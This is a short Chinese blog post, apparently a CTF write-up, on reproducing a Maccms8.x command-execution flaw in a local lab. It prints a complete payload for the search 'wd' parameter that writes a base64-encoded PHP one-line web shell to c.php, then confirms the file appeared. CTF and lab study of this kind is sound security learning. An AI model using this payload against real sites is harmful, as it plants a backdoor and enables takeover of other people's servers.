新出道資訊保安愛好者，有很多需要學習的地方，願有一天能追上大佬步伐。
好了，下面進入正題，上半年6月份參加了鐵人三項賽，線下web題為Maccms8.x ，當時也是通過團隊協作以及百度資源成功破解伺服器，現在我搭建了靶機，具體步驟寫出來。
1.準備:phpstudy＋Maccms8.x 原始碼
搭建成功後我們先來訪問一下
因為Maccms8.x 存在命令執行漏洞，所以我們先點選search，接著直接上傳我們構造的一句話木馬payload：wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
然後直接點選Execute上傳，見上圖hackbar。
驗證是否上傳成功：我們來看一下靶機的源目錄，可以看到多出來一個c.php的檔案，說明上傳已成功。